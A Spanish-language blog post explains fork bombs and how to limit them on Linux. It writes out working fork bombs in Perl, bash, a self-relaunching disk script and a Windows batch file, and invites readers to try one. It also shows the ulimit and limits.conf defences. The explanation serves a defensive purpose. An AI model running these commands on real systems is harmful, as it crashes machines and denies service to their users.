Una con Perl:
perl -e "fork while fork"
Y otra con bash:
:(){ :|:& };:
Esta ultima es la que se ha puesto de moda. Y no deja de ser una version ofuscada de:
forkbomb () {
forkbomb | forkbomb &
}
forkbomb
es decir, una funcion recursiva que se llama a si misma 2 veces creando procesos hasta colapsar el sistema.
Lo curioso es que no es necesario ser root para tumbar el sistema. Puedes probarlo en tu linux.
¿La solucion?
O bien usas el comando ulimit añadiendo al /etc/profile y /etc/bash.bashrc (para abarcar sesiones de login y no-login) algo como:
ulimit -u 1024
de tal forma que el numero maximo de procesos que un usuario puede ejecutar son 1024.
Pero la forma estandar de hacerlo es editando /etc/security/limits.conf, archivo de configuración perteneciente al Linux-PAM, poniendo algo como:
* hard nproc 1024
Son TABs, no espacios.
Asi todos los procesos, y sus hijos claro esta, que hagan uso de los modulos PAM respetaran el limite establecido.
Otro forkbomb que he leido por ahi es el siguiente:
echo "\$0&\$0">_;chmod +x _;./_
Como $0 almacena el valor del proceso actual, el script ejecuta continuamente
./_ &
./_
Pero este caso es mas grave, pues lo que se ejecuta no es una simple función de bash en memoria, sino un nuevo proceso del disco que requiere cargar un nuevo bash en memoria.
La versión Windows de este forkbomb es un .bat tal que asi:
:vlan7
start %0
goto vlan7
Ahora lanzo una pregunta al aire... ¿Alguien sabe como defenderse de esto en Windows?
1 comentarios :
Si, no instalarlo!!! ;-)
Publicar un comentario
Nota: solo los miembros de este blog pueden publicar comentarios.